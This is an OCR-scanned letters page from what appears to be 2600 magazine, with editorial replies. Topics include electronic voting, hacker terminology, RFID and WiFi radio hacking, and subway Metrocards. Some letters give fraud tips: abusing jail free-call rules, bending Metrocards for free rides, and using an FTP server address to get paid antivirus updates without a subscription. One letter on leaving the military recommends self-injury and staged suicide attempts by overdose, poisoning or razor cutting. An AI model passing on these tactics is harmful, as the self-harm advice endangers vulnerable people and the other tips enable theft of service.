they a re . . .  " I thought  that was ki nd  of odd .  I looked at a ll 
the other  resu lts on google .  I got the  same defi nition  on 
every hit! So it j ust got me wonderi n g  who the  hel l  a re 
these guys? Does a nyone know about this mysterious 
group of hackers? If  so, p lease te l l  me .  

H i m i  Jendrix 

Before this gets out of control, let it be said that 
Alonzo Church wasn't a church but a person. The sentence 
quoted above could read as linking USP to a religious or­
ganization or possibly even a cult. And people who make 
such accusations usually disappear. 

Suggestions 

Dear 2600: 
I thi n k  we (or  the  majority of the  normal  2600 read­

ers) ca n agree that the cover of Freedom Downtime (with 
Kevin Mitnick in his cell with a " Free Kevi n "  sticker on the  
wi ndow) is  a n  amazi ng i mage, captivati ng  many pa rts of  
what th is  com m unity i s .  I t  wou ld be g reat if the  2600 
store, or somewhere, wou ld sell this o n li n e, if it i sn 't bei n g  
sold a lready. I wou ld certai n ly b uy  one ,  even two . 

windwaker 

Dear 2600: 
You guys a re awesome .  One  thi ng  I would li ke to see 

more of though i s  real world hacks for equipment and ob­
jects other then computers, i .e . ,  soda machines ,  ATMs ,  
phones, a n d  the  li ke. Than ks fo r the  g reat mag and  keep 
rocki n '  the boat . . . .  It has to tip sometime !  

CSIN 
Serials 2005 Crew 

This is what makes the hacker world so fasdnating. It 
doesn 't have to just be about computers or phones. In 
fact, it gets rather boring when that's all one focuses 
upon. Hacking is much bigger than one particular technol­
ogy. It's a state of mind that can be applied to virtually 
anything. This is what the media and all the wannabes can 
never understand. 

Dear 2600: 
The Homela nd  Gestapo has  fi na lly been revea led !  Un ­

ti l the  editoria l  "Stick  Around"  i n  2 1 :4,  the Gestapo had  
not been  identified i n  al l  the  media as the  Department of  
Homeland  Security. From now o n ,  let's ca l l  it what  it rea lly 
i s :  H omeland  Security=Gestapo .  

The editori a l  asks - no ,  demands - that we stick  around 
a n d  fig ht. Yes ! But we m ust begin fighti n g  now before the  
Gestapo gai n s  too much of a foothold i n  American culture .  
Begi nn i ng  today, i n  our  conversations ,  i n  ou r  letters, 
emai Ls ,  on our websites, call it fo r what it i s  when we refer 
to it. 

( Don 't know who the Gestapo were? They were the  
Homelan d  Security of  Nazi Germany who enforced the  re­
pressive, fascist policies of Adolph Hitler not o n ly on  Ger­
mans  but on the  people of al l  of the  countries occupied by 
Nazi forces from 1933 unti l  the  end of World War II. They 
were a lso responsi ble fo r round ing  up and  exterminati n g  
radica ls ,  soci a lists, com m uni sts, gays, S lavic a nd  J ewish  
people ,  a nd  the  disabled. They exterminated more than  six 
million  members of the  above groups from Apri l  1937 to 
May 1945 i n  the gas chambers of thei r  concentration  
camps  throughout Central Europe. )  

Joe37 
There is nothing that will drive people from your side 

faster than this kind of a comparison. While you may be 
able to argue that the thinking behind both regimes is 
similar, to automatically equate what we have today with 
the most horrendous people we can think of will simply 
force most of us to dismiss your points and in so doing 
lose sight of the real problem. Instead, let people arrive at  
such conclusions on their own if  that's where the facts 
lead. Imagine what today's technology would have been 
like in the hands of the Nazis. Look for the potential dan­
gers and apply them to current trends. When you add all of 
it together, you won 't need to shock people by conjuring 
up images of the past. The future will be terrifying enough. 

Electron ic Voting 

Dear 2600: 
I 'm respondi ng  to a letter on page 30 of 2 1 :4  about 

electronic voti n g .  I know that it ' s  not a lot ,  but D r. Douglas 
Jones ,  a professor at the  U niversity of Iowa, has  done a lot 
of work on electronic voti n g ,  which can be found  at 
http ://www.cs.uiowa .edu/-jones/voti ng/ 

Semantic 

Dear 2600: 
In 20 :4  you replied to PurpleSquid 's letter deta i li n g  
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problems with computer voti n g  wit h :  " . . .  Anyone, regard­
less of thei r  political beli efs, sta nds to lose if th ere is  
i n suffi cient security and accountability i n  this tech nol­
ogy . . .  " 

Whi le it's a nice sentiment, the abi lity of an outsider  
to hack a voti ng system pa les i n  comparison with the  abi l­
ity of the  people who desi gn ,  bui ld ,  own, a nd  operate the  
system .  Shou ld such people be unscrupulous ,  the  ri sk  wi ll 
be so much sma ller and the benefits so much  greater to 
them than  to the rest of us .  

Bor  Onx 

Dear 2600: 
I have picked up your  fi ne  magazi n e  for years .  I read 

the letters in 2 2 : 1  with i n terest as the little debates raged 
on  about the rea lly bad electronic voti ng  boxes. 

As usual, most people come at the issue with  a pa rty 
axe to g ri n d .  One  writer b lamed Bush .  One  defended Bush .  
Both  major  politi ca l  pa rties a re  gui lty of usi n g  the  evi l 
e lectronic voti ng boxes. The a nti-Bush  letter writer 
sum med up  the Republican Party cri mes well enough .  But 
lest he  and others who root fo r the Democrati c  Pa rty i n  
the  political football g a m e  be deceived,  t h e  Ds a re a lso 
g ui lty i n  this problem .  

Howard Dean ' s  campaign was  derai led by  the  Democ­
rati c  Nationa l  Pa rty usi ng  e lectronic voti ng boxes. Kerry 
was boosted in key prima ry states. And the Ds a lso used 
the little boxes in Albuquerque,  New Mexico to change re­
a lity. I could list pages of data here .  But why? It has a l­
ready been done by Bev Ha rri s .  She  documents the crimes 
of al l  political sides at blackboxvoti ng . o rg. This is by fa r 
the best data with documentation on the  subject .  Anyone 
i n terested i n  readi ng rea l data shou ld head to the  Bev 
Ha rris site. 

P. S .  Best city name in America? For me  it i s  Climax, 
Michiga n .  

Contribution 

Dear 2600: 

Joe Domenid 
Austin,  Texas 

J ust wanted to let you know that fo r the  past two 
years, I've been showi ng  your Freedom Downtime movie to 
n ea rly all my students in school  (age 14-19) with g reat re­
su lts. The i nterest is  huge and  we have very i nteresti n g  
discussions  afterwa rds. So t h i s  i s  my small contri bution  to 
keepi ng the hacker's good i mage, a lthough I'm not a rea l 
pro in the field. 

Keep up  the good work! 
mAdreAk 

This is an incredible accomplishment and proof that 
with a Little determination, we can heLp to infLuence the 
worLd around us. This is truLy what schooL should be aLL 
about. Thanks for your efforts. 

Witnessed 

Dear 2600: 
You ' re probab ly aware of this ,  but what the  heck. Re­

cently my h usband  and  I were at the  Museum of Science 
and  Industry in Chicago. They have an exhi bit about com­
puti n g  and  the Internet called "NetWorld , "  where they 
demonstrate bits flyi ng  a round ,  you ca n "digitize" your im­
age,  etc. I was  interested to fi nd  that, on one  of the  i nfor­
mationa l  boards, they defi ne  hackers as people who a re 

i nterested in knowi ng  how things work. They contrast neu­
tra l ,  curious  "hackers" with ma li cious "crackers" who abuse 
tech nology and com mit crimes. Whi le the  term " cracker" 
a lways, well, cracks me up - it j ust sounds so quaint with 
that backwoods ri ng  to it - it's nice that such a seemi ng ly 
conservative i n stitution has an en li g htened attitude 
towa rds hackers. 

Also, the  exhi bit has a feature ca lled a " Net Pass . "  
You ' re supposed to get  t h i s  pass from a termi na l  when you 
enter and you can use it to make the  displays more i nter­
active. I don 't know exactly how this works because when 
we went i n  the  termi na l  had a n  "out of order"  sign on it 
sayi ng that the  system was down . My h usband sai d ,  "Boy, 
this exhibit is  really rea listi c ! "  

Keep up  the  good  work! 
Anarchivist 

We're gLad they understand the concept of hacking to 
a degree. But if aLL they're doing is renaming people who 
are curious about the wrong things, it's doing more harm 
than good. We have more than enough ways of labeling 
criminals without using something so vague and nonsensi­
cal as "cracker. " 

Dear 2600: 
Been a reader of the  magazi ne  for some ti me .  J ust had 

to write to te l l  you that I j ust got pu lled over ton ight .  My 
license is  suspended and  I just got off of house a r rest and 
a m  now on probati on .  I happened to have a copy of 21 :3  i n  
the  g love compartment w h e n  t h e  c o p  searched the  car. As 
I stood in front of those wonderfu l blue flash ing  li g hts, he 
came  back to me  with the 2600 in his hand .  I was thi n ki n g  
that I wa s  about to get a hard ti me  because I had  a maga­
zi n e  that said "hacker" i n  the ca r a long  with th ree old com­
puters i n  the  tru n k  awaiti ng  my repai rs. As h e  stood in 
front of me  flipp ing th rough  the pages with this "I know 
what this is a ll about" look on his face I explai ned to him 
that I 'm a network security/admin istration  major. H e  then 
revealed that he  used to be a network engi n eer but had to 
take up bei ng  a cop because of the pay (or  lack thereof) in 
the state I 'm in .  D rivi ng on suspension ,  on probation ,  and 
d rivi n g  home at 1 a m  after picki ng  up  some software from 
a friend the  cop let me go .  Ki nd of nice knowi ng  that that 
type of autho rity respects what we' re al l  about. Just 
thought  I 'd s ha re that. Keep up the g reat work .  

M LG 

We understand the relief you must have feLt. But it 
sounds as if there was absolutely no cause to search your 
vehicle and even less to judge you on your reading mater­
ial. Despite the fact that this turned out OK and that the 
cop appeared to be a decent person, this sort of thing is 
more than a littLe frightening. 

Letters From Prison 

Dear 2600: 
This letter is in response to SystemX's letter in 2 1 : 3 .  I 

am a lso i nca rcerated, a lbeit in a federa l  p rison ,  so I may 
have some usefu l i n formation for SystemX and others in 
the  same u nfortunate predica ment. 

I was i n  the  Warsaw ( "Northern Neck")  County jai l  in 
Vi rgi n ia .  You a re a llowed to make th ree calls to a n umber 
and  then a prepaid account must be establi shed .  Wel l ,  I 
was in tra nsit a nd  on ly in Warsaw for seven days. I made 
my th ree calls, which a re free by the  way, to my loved one .  
Then we thought  that maybe I could ca l l  the  second li ne  of  
my loved one 's  house for free a lso .  I t  worked !  S ix  calls 
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ti mes fifteen min utes was a whole hour  a nd  a ha lf! This 
worked even though I had to enter my Warsaw jai l-i ssued 
i n mate n u mber. I guess that they wi ll let you call any n u m­
ber th ree times in the hope that you might have to set up  
a prepaid account with each  number (mother, gir lfriend ,  
lawyer, friends ,  etc . ) .  

So  you  can  take advantage o f  t h i s  system by  calli n g  
any number th ree times .  Let's see: two hou se  phones, 
work phone plus extensions ,  payphone  outside of work, 
cell phone ,  friends '  phones, etc. 

Of cou rse SystemX, I beli eve, m ust make co llect ca lls , 
not th ree free ca lls to any num ber. Dependi ng  on the cost 
of calls made via a prepaid account, it may be cheaper to 
pay for the most basic service fo r a telep hone  li ne ,  accept 
al l  of the co llect calls you ca n ,  and repeat. This i sn 't very 
nice or  honest, but n either a re the outrageous pri ces that 
i nmates and thei r  fami lies pay to com municate by phone .  
Here, a n d  i n  al l  federal prisons nationwide ,  inmates pre­
pay 23 cents per minute for long  dista nce in the  U .S .  The 
money comes right  out of our  accounts .  If we call collect, 
the rate i n creases by fou r  ti mes !  That's 92 cents per 
m inute! 

To System X and  a ll of the rest of us who a re down : I 
understa nd  you r  p li g ht and  hope that you ca n fi nd  a way 
to stay in contact with your fa mi ly and  friends .  Shout out 
to Stormbri n ger !  

Tony Sparx 
Speaking of whom . . . .  

Dear 2600: 
Storm bringer  ca n open mouth and  i n sert foot. Acidus '  

a rti cle i n  20 :1  was pretty close to output power on XM 
Satellite, which i n  20:2 I said was i ncorrect. I read recently 
that XM Satellite puts out about 18kw worth of power i nto 
the antenna  for an effective radiated power ( E RP) of 10 
megawatts or  so. Sweet! I was wrong .  

I have been  locked up  awhi le so have not p layed with 
Wi Fi or read much about it. From previous  experiences on 
hacki n g  ha rdware, I know a lot of products can be hacked 
to do th ings the manufacturer n ever i ntended, i ncludi ng  
bei ng  on  othe r  frequencies .  

As for Wi Fi ca rds, maki ng  you r  own channe ls above or  
below the  sta ndard ones would a llow one  to put up  a fai rly 
secu red WLAN si n ce script kiddies a nd  most professiona l  
software probab ly won ' t  be looki ng  for these  channels. 
This could be a big problem for someone who has  a LAN 
with a rogue  wi reless hub on non-sta ndard frequencies .  

I 'm assuming  a ll of the  frequency channe lization  is  
done  on the  ROM,  contro lled by fi rmware on the  Wi Fi ca rd. 
Pretty easy to pul l  the  ROM and  b low you r  own and put it 
back i n  the Wi Fi card, the very same th ing  you wou ld do 
with a n  O KI 900 cel l  phone or  Motorola radio to make it do 
specia l  thi ngs .  If the  card is  contro lled by a software d ri ­
ver, it would be m uch easier  to do .  

Now I have seen  some b lock  diagrams  (very basic) of a 
Wi Fi card and  noticed it contai n s  everyth ing  n eeded to de­
code j ust about a nyth ing  you could th row at it, provided 
you ca n control  the  frequency and  dea l with  the  bits  com­
i ng  out of the  I/O decoder. 

The I/O decoder is much more versati le than  the  2 or 4 
level decoders I've mentioned in the  past. The I/O decoder 
is  limited to what you program to decode, and the  sam­
pli n g  of the  DSP  chips on board. Righ t  now I 'm awa re of 
projects , i n cludi ng  GNU radio ,  that use a n  I/O decoder to 
do AM ,  FM ,  SSB ,  a nd  some digita l modu lation schems such 
as Wi Fi and modes used on data over radio. Theoretica lly, 

one  shou ld be ab le to decode FLEX/Go lay/POCSAG pagers, 
digital cell phones, H DTV, satellite radio ,  or  satellite TV via 
an I/O decoder. 

In the  2 .4ghz  frequency ra nge the Wi Fi ca rd uses there 
a re cord less phones,  ham radio ,  a nd  other th ings to po­
tentia lly decode. Those would be the very basic things to 
try out if the ROM o r  d river ca n be hacked. I do not know 
how fa r out of spec the  Wi Fi cards can go before perfor­
mance ro lls off. Down at 2 . 3ghz  we have satellite radio: 
XM and  Si rius .  A rea lly good antenna or  LNA might  have a 
Wi Fi card doi ng sate llite radio if the  performance does not 
degrade too fa r droppi ng  that low i n  frequency. 

If a Wi Fi card ca n in fact be controlled to camp  out on 
frequencies you want, and  the I/O decoders ca n decode 
what you want via roll-you r-own software, there a re some 
tricks to  get  other  frequencies of i nterest converted up  to 
2 .4ghz where we ca n deal with them assuming the  fre­
quencies a re below 2 .4ghz .  For those above 2 .4ghz ,  we 
would have to down convert them .  That would make 
GSM/PCS phones ,  satellite TV, satellite radio ,  pagers, ham 
radio, a nd  spread spectrum sig na ls al l  potentia lly decod­
ab le via Wi Fi card. 

If the  Wi Fi card ca n 't  be hacked, a l l  is  not lost. The I/O 
decoder chips a re avai lab le for pretty cheap,  easi ly i nter­
faceab le to the computer. The I/O decoder i n put wou ld 
have to be put on a receiver, scanne r, satellite radio ,  etc. 
device so you ca n ti n ker with the data bei n g  spit out. 

Either  way the wi nd  b lows, I 'm wi lli n g  to work with 
people on ha rdware issues and design ing  some circuits for 
use, which means I'll have to order some books.  

In 21:4,  jj r wrote i n  concern ing  more i nfo n eedi ng  to 
be written concerni ng  RFID .  I agree. RFID is  trampli n g  i nto 
a territory that most i n  the community have not explo red : 
RF ( Radio Frequencies) .  Some have dabbled in cellula r 
tech no logy, pagers, and  WiFi ,  which a re al l  RF-based. 
Learn ing  the  basics of RF  is  not hard .  Many websites 
explai n ing  radio th eory wi ll get one schooled in the foun ­
dations  of RF. 

R FID  is pretty simp le tech no logy that is radio-based . 
At a simp li stic level, RFID is j ust a very si mp le radio tra ns­
mitter and  receiver (transceiver) with a memory ch ip .  
When it receives a signa l  from a tra nsmitter with proper 
q uery sequence,  the  RFID wi ll spit back a n  ID  code or  other 
i nfo with its transmitter. It has  no  i nterna l  power and thus 
must take a little bit of the  queryi n g  tra nsmitter power 
and convert it to usable power to transmit its i nformation .  
Th i s  pa r t  i s  pretty much basic electronics. 

RFID i n  a product is  pretty easy to ki ll. Tossi ng  it i n  the 
microwave shou ld either Ki ll the  si li con ch ip by plasma a rc 
or overwhelm the circuits a nd  burn them out. Of course, 
there i s  a potenti a l  fire hazard. Stati c electri city is  a lso an­
other potenti a l  ki ller of RHD. As computer guys, we al l  
know the  potenti a l  problems with zappi ng  our  boxes. 
Those o ld stati c  guns to remove stati c  from records may 
generate enough  to ki ll a n  RFID ch ip .  Doubtfu l, but a cell 
phone  up  at full power with the  ti p of the antenna against 
the ch ip may kill it. A ham radio wa lkie ta lkie at fu ll power 
may a lso kill it. A h igh  powered ham transmitter wi ll defi­
nitely do it, but n ot somethi ng  you carry a round .  A stun 
gun wi ll defi nitely do the job, as  wi ll taki ng  a hammer  to 
it. 

Exp loits? I 'm not sure if RFID uses spread spectrum or 
not. If it does not, a DoS attack is  very plausible. If mem­
ory  serves, some of the  frequencies I've seen  a re 
1 3 . 56m hz, 403 mhz ,  915m hz,  a nd  the  2 .4ghz band .  The 
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latter would be i nteresti n g  if Wi Fi cards could be tri cked to 
operate on the same frequency as RHD .  Then you'd be ab le 
to query RHD chips and  spoof you r  own queries if you were 
close enoug h .  Some of the h am  radi o tra nsceivers can be 
easi ly modified to operate on frequencies outside of the 
ham radio bands .  Of course, tra nsmitti ng  i n side or  outside 
of the ham rad io frequencies without an  FCC license is  a 
federal  offense.  

There may be other frequencies i n  use by RHD.  You ca n 
fi nd  these by surfi n g  the  man ufactu rers' websites. Out i n  
the  field ti n keri n g ,  you ' ll need a decent frequency counter. 
OptoElectronics makes a handheld frequency counter (The 
Digita l Scout) that shou ld be fast enough to capture the 
frequencies i n  use by RHD .  They make another version 
(The Scout) but I don 't thi n k  it has a fast enough " lookup" 
ti me  to accu rately capture the  frequency i n  use by RHD. 
Anyhow, simp ly ho ldi ng  the frequency counter next to an 
RHD scanne r  whi le it is  sca n ni ng  a n  item shou ld give you 
the frequency of the devi ce .  

Digging around the  cel l ,  I found  specs on the Em Elec­
tronics (www.emelectronics . co .uk ) EM4223 RHD chip . It is  
i n  compliance with the  ISO IEC 18000-6.  It carr ies a 128 
b it  ROM user  memory, operates i n  the  862-870mhz ,  902-
950m hz, and  2 .45ghz  bands ,  and  has no apparent secu­
rity. Of similar spec is  the EM4222 which uses 64 bits of 
ROM .  One version of it has a n  additiona l  1024 bits of 
read/write memory. 

In the 13 . 56mhz  frequency range,  the EM4006 has 64 
bits of ROM whi le the EM4035 and EM4135  have 64 bits of 
ROM,  a nd  have 3200 bits a nd  2304 bits of read/write mem­
ory respectively. Security is  done v ia  lock  bits or  m utual 
authenticati on .  

M ost o f  the  Loompanics products appea r  to  be a series 
of RHD chips i n  the 125khz  range,  with 48-128 bits of ROM 
and  256-2048 bits of read/write memory. Some of these 
follow ISO 11784 or  11785 sta ndard,  and use lock bits and 
password, password, or  m utual authentication secu rity. 
Some versions  have no security at all in the  read on ly 
versions .  

Bei n g  that I' m i n  a p rison cell, I 'm taki n g  a stab at the  
data  encodi ng  method over RF, and  wi ll say it is  simp ly FSK 
( Frequency Shift Keyi ng )  to query and  pa rrot back i nfor­
mation .  For costs and  simp licity, I doubt they a re usi ng  
any more exotic modu lation  s chems  to tra nsmit the data . 

FSK is easi ly decoded on a scanne r  with s light  modifi­
cations  and a n  externa l  i n te rface which con nects to the  
seri a l  port  to get the  FSK data  received to the  computer. 
The Pd102 .exe or  Hamcomm i nterfaces avai lab le on the  
Internet a re perfect fo r use i n  experi mentation  and  easy 
to bui ld .  The cost is  about $10 in Radio Shack pa rts . 

You r  receiver wi ll have to cover the  appropriate fre­
quency ranges, a lthough I prefer usi n g  commercia l  radio 
equipment by Motorola . The Motoro la 800 Spectra and  
MaxTrac wi ll cover the  800mhz  frequency RHDs  without 
modification  for transmit o r  receive. There is  a pinout on 
the accessory jack i n  the  back for  tra nsmit a nd  receive 
data. For tra nsmit, you' l l  h ave to bui ld an appropriate i n ­
terface to  take  data out  of the computer and  transmit it. 
Data received via these radios wi ll work with the  above 
m entioned i nterfaces. 

The 900mhz Motoro la Spectra and MaxTrac radios wi ll 
receive frequencies 928mhz  and above without modifica­
tio n .  The Pd 102 .exe or  4 level decoders work very well fo r 
decodi ng  pagers. Below 928m hz, these radios n eed modi­
fication  to the  VCO circuit to work. The modifications  a re 

avai lab le on www. batlabs .com.  In the  902-925mhz  band 
there a re cord less phones ,  RFID ,  video li n ks ,  wi reless mics, 
and other FCC Part 1 5  devices, as well as  ham radio com­
mun ications .  

Motoro la does  have some data  modems that connect 
to the Spectra or  MaxTrac  radios that wi ll do most FSK data 
modes and tra nsmit and receive up  to 19 . 2 kbps .  The RDM-
600 wi ll do many modes  as fa r as encodi ng  if you  set  up  
the programming  softwa re rig ht. 

Hopefu lly some of this information wi ll be usefu l to 
someone.  I 'd li ke to correspond with some people "in the  
know, " a nd  newbies to  radio ti n keri n g  as  well. I do 
respond to al l  people .  

Further Info 

Dear 2600: 

Storm bri n ger 
Wi lli a m  K. Smith 44684-083 

FCI C u m berLa n d ,  Unit A-I 
PO Box 1 0 0 0  

C u m berLa n d ,  M D  2 1 5 0 1 -1 0 0 0  

Fi rst, I would li ke to  thank  Redbird for his a rticle on 
the worki ngs  of the  Metroca rd system i n  22 :1 .  There a re 
crim ina ls in the  New York City subway system known as 
"swi pers . "  These people go i nto unman ned station  en­
tra n ces and  break the MVMs and  M EMs  by jamming the b i l l  
slots. They pick up  discarded pay-per-ride  Metrocards ,  take 
advantage of a known flaw i n  Metroca rds a llowi ng  for free 
rides (grabbi ng  the magnetic stri p between the  C and  the 
A and  maki n g  a sha rp ho rizontal bend on the  magneti c 
stripe  in that a rea ) ,  and  charge $1 to people walki ng  i n  
( h a lf the  no rma l  fare - yet they're sti ll turni ng  a profit 
si n ce they got the cards for free i n  the fi rst place ) .  Well, 
the MTA has been cracki n g  down on them .  Ju st recently, 
the  MTA a n nounced that there wi ll be harsher  pena lties for 
swipers. 

The MTA has  a lso been testi ng a " new ca rd-zappi ng "  
tech no logy at a few undi sclosed stations .  He re's how i t  
works: when you r  pay-per-ride Metroca rd has  o n ly $2 .00 
left (one ride ) ,  you swi pe the card and the  turnstile wi ll 
say somethi ng  to the effect of " PLEASE SWIPE  AGAIN . "  At 
this point the turnsti le has a lready deducted $2 .00  from 
your Metroca rd. On the  second  swi pe, the  turnstile wi ll 
"zap" the magneti c stri pe of your M etroCard , renderi n g  it 
useless (and therefore, swipers ca n 't pick them up  and 
expose the  flaw) . 

d a n O l l l  
It's easy to  see  from the tables showing the data fields 

on the card exactly why this is possible. The MTA has been 
recently testing prevention methods in some of the turn­
stiles where this activity has become a major problem, 
such as at Grand Central Station. It's worth noting that 
while this prevents "card bending" when there is an offidal 
balance of $0. 00 on the card, it does not prevent it from 
being done when there is a balance of $2. 00 or more on 
the card. A lthough most aren 't willing to risk damaging 
the card, thus losing their remaining balance for the extra 
$2. 00 they'd gain, the flaw will still exist even after their 
efforts to apply this sloppy patch have finished. 

Dear 2600: 
Not su re about other states but where I live 711  is 

used for TOD for the  deaf. Interna lly in the  PBX switch it's 
used for internal  fun ctions  (such as a class of restri ction  or  
class of service code ) .  By diali ng  the  other "wei rd" 
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numbers you can access some PBX switches remotely and  
program them (or  more precisely progra m certa in fu nc­
tions/num bers) without access to a termi na l; it's limited 
but mai n ly used to get a phone  n umber up  and worki ng 
unti l  it ca n be accessed through  a term ina l. 

Woodzy 
You didn't tell us where you live but the same thing 

hoLds true here in New York. Dialing 71 1 gets you to the 
"New York ReLay Service" which allows you to communicate 
TTY to voice and vice versa. 

Dear 2600: 
Typica lly, at least from my school's fi lter, tryi ng to go 

to www. 2600.com would yield that the  s ite was b locked 
because it was "Illegal . "  So imag ine  how stra nge it was to 
go to www. 2600.com and  fi nd  that it was b locked because 
of profanity. (Of course, I have yet to fi nd  a nyth ing  out­
right  profane  about it. ) Goi ng  to www.2600 . net produces 
the expected resu lts - blocked, the reason bei n g  "Illegal . "  
However, going to www. 2600.org ta kes m e  straight  to the 
website with no  problems. 

Just thought it might be i nteresti n g  to know. 
FxChiP 

We really think we deserve more than a one word 
categorization. Morons. 

Dear 2600: 
In 2 2 : 1 ,  somebody wrote in rega rdi ng  the  i n security of 

Blackboard o n li n e  classroom software ( not sure of its offi­
cia l  title) .  I myself was i ntroduced to Blackboard last se­
mester for some on li n e  classes at a com m unity college. 
The i n security that was mentioned by Publi c  Disp lay was 
that student logi n s  were the same as thei r  password by de­
fau lt. This i s  not a lways the case.  The setup I logged in 
with used our student ID  assigned by the school, as well as 
whatever password we have set up  with the school. The 
password was set up  before Blackboard for access to all  
grades for the  school, whereas Blackboard was on ly used 
for some classes. As near as I ca n te ll, the  defau lt pass­
word and login were set up  by the school distri ct or school 
that Publi c  Display attends and  i s  n ot a n  i n h erent security 
flaw with B lackboard itself . . .  a lthough  I'm sure there a re 
many to find .  

noir 

Dear 2600: 
As a recent entry level sepa ratee from the  USMC I j ust 

wanted to make some comments about the a rticle in 2 2 : 1 .  
There a re t o  my knowledge five ways t h a t  work t o  get 
sepa rated from your mi litary contract .  

1 .  Medical :  One  of the safest yet most diffi cult and 
time  consuming methods.  U n less you succeed i n  i nju ri n g  
yourself i n  trai n ing  p retty serious ly without it loo ki ng  li ke 
it was on pu rpose, it is  a pretty tough  m ethod un less you 
do it in the  fi rst th ree days of bei ng  there .  You can count 
on  the  possi bi lity of bei ng  at your trai n ing  faci lity longer 
than if you had  completed trai n ing  fo r recovery ti me ,  etc. 
Otherwise you have to be able to produce some sort of 
medical record of serious disease or  i nj u ry to be dis­
charged. It's sti ll not a guara ntee. 

2 .  Mental: Otherwise known as Suicida l  Ideati on .  This 
ca n be an effective method if done i n  a certai n way. I saw 
a few people try this method to no  avai l - as well as a few 
who succeeded.  The tri ck  to this one  seems to li e in bei ng  
j ust fucked up  enough ,  but  not  too  fucked up .  I t  a lso is  a 
h uge he lp if you have some pri o r  history which is  

documented from a psychiatrist or  psychologist or some 
other type of mental health faci lity. Tryi ng to overdose on 
medication  or  poison ing  and  razor  s li ci n g  was most popu­
la r. Yes ,  you actua lly have to make an  honest effort to look  
li ke you want to k i l l  yourself. You ca n 't just say  so or  you  
won ' t  get  out. 

3. Fai l  You r  U ri n e  Test: Will on ly work if you get h igh  
right  before leavi ng  for boot camp .  Or  if you go AWOL,  get 
h igh ,  and come back. 

4.  Go UA (Unauthorized Absence ) :  This method works 
but i s  risky and often diffi cult dependi ng  on which base 
you ' re on. The key to this i s  you have to be gone for at 
least 10 days but no longer  than  30. I 'm not su re of the  
reason for at least 10 .  The reason for less than 30 i s  be­
cause after that you wi ll be considered a deserter a nd  go  
i nto a different situation  enti rely. The speed  and  penalties 
with  which you are discharged vary dependi ng  on the  
mood of you r  command and  ca n ra nge from no charges 
and release i n  7-10 days to forfeiture of pay from $266 to 
everythi ng earned to possib le periods of confi nement on 
you r  faci lity. It a lso seems that they go much lig hter if you 
turn yourself i n  rather than if you get ca ug ht. 

5 .  Refuse to trai n :  My m ethod of choice and a lso the 
quickest and most di rect. How this works is  you si mp ly say 
no to any order given and fai l to carry out the order. This 
method took about two days to carry out to get out of 
trai n i ng ,  most of which was spent ta lki ng to various offi­
cers th rough  the chain of com mand .  After that six days 
were spent in separations  completi n g  paperwork before 
bei n g  put on a bus back to my city of entra nce. 

The i n formation I have given is  factual to the best of 
my knowledge as I had opportunity to look  through a few 
bi nders full of base i n cident repo rts whi le left un super­
vised in the  battalion  office. There a re some other meth­
ods which a re either  very diffi cult or  rumor: 1 .  
Homosexuality: as stated i n  the  a rti cle it i s n ' t  e nough  to 
just say you a re anymore.  You pretty much have to be ei­
ther observed engagi ng  i n  homosexual behavior  or  pro­
duce severa l i n dividua ls who a re wi lli ng  to testify to such ;  
2 .  Claim You Are  Sata nic :  supposedly this isn 't  a llowed by 
the mi litary but this is  a rumor  and  may be false i nforma­
tion ;  3 .  Bad Conduct: wi ll probably get you out but at what 
cost. This covers th ings li ke assau lti n g  other recruits 
and/or staff. Will most li kely however just resu lt in forfei­
ture of pay and/or time  in confi n ement the fi rst several 
ti mes; 4. Gang/Hate Group Affi liation :  I am  pretty sure 
this is true a lthough I have no fi rsthand  experience i n  
observi n g  s u c h  a case. B u t  the  mi lita ry does genera lly 
seem to be pretty adamant  against belong ing to any such 
s imi la r  organizations  as themselves. 

Nicholas 

Dear 2600: 
I recently lea rned of an i nteresting  anonymous FTP 

server runn ing  at 216 .200 .68 . 150  through an acquai n­
tance of mine .  It  would appear that this server is  what 
Norton ' s  " LiveUpdate" system connects to when it goes to 
fetch vi rus defi nition  updates. So much for that expired 
updates subscription .  

Also, with rega rd to DarKry's "HP  Pri nters: The Hidden 
Th reat, " it shou ld be noted that you can a lso telnet to any 
pri nter that has a JetDi rect i n terface card and a n  I P  ad­
d ress. There i s  a com mand li ne  configu ration  utility that 
lets you do a ll so rts of things li ke change passwords, print 
test pages, turn protocols on and off, etc. Exact capabi li ­
ties vary by model, but even the  older 5si models (which i s  
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what I have) a re fu n to p lay with .  Some of the  5si units 
had a feature that HP ca lled a "mopier,"  which consisted of 
a sma ll (300 MB ? )  hard disk that stored pri n t  jobs and  
a llowed document server-li ke fu nctiona lity. 

Newer models may a llow a ll so rts of different th ings 
from the  com mand li ne  i nterfaces. Have fu n .  

Shortfuse 

Dear 2600: 
On the  back page of 2 2 : 1 ,  you express a great deal  of 

fea r su rrounding Remote Control locomotives. 
I have a friend who 's  an  eng ineer fo r one of the largest 

rai lroad companies i n  the U . S .  H e  described RCO ( Remote 
Control Operation )  to me. It's not li ke a n  unman ned loco­
motive is  b lazi ng a trai l from one state to the next. What 
happens is  that the engineer wears this belt pack remote 
control system and simp ly operates the locomotive from 
the  side of the  track. Note that the  photo was taken near  a 
rai lroad switch (two sets of tracks a re mergi ng  together i n  
the photo ) .  One of  the  most common uses of RC locomo­
tives is  when they're i n  an  i n dustria l  distri ct droppi ng  off 
or picki ng up a few boxcars or whatnot. The trai n is 
stopped, then the  engineer gets out and  operates the 
switch .  Without getti ng back i nto the locomotive, it ca n be 
remotely backed i nto the warehouse, the cars ca n be 
joined, then the trai n can be brought back onto the main 
track ,  the switch reset, and  the  engi n eer ca n be back on 
his way. 

RC units a re a lso used with in  the confi n es of trai n 
yards to sh uffle a few cars around here and  there when as­
sembli n g  a frei g ht trai n .  They have very li mited range and  
they're fai l-safe, so they emergency brake if the  signa l  is  
lost for any reason .  They a lso severely li mit the trai n 's  
speed when under  remote control. To the  best of my 
knowledge, the FRA wi ll never a llow comp lete remote 
control fo r trai ns actua lly tra nsporti ng  ca rgo for long 
di sta nces. 

It 's a lso worth mention ing  that the  main reason these 
exist is  so that big rai lroad companies ca n run a sma ller 
crew and pay one engineer to do the work of two or  th ree 
people at once .  A great many engin eers loathe  this tech­
no logy, but safety concerns a re not the  prima ry reason .  

axOn 

We'd like to know more about the authentication used 
to ensure the "driver" is legitimate. If it's like flying a 
model plane, there could be some issues. 

Dear 2600: 
You might fi nd  this i nteresti ng .  If you type "secret ser­

vice li es" i nto google (without quotes) it recommends "se­
cret service is." Thought google was on your side . . . . 

ssinformer 

The two statements are more or less synonymous any-
way. 

Dear 2600: 
I hope LabGeek ( 21 :4) was to ld the truth and  Wa l-Mart 

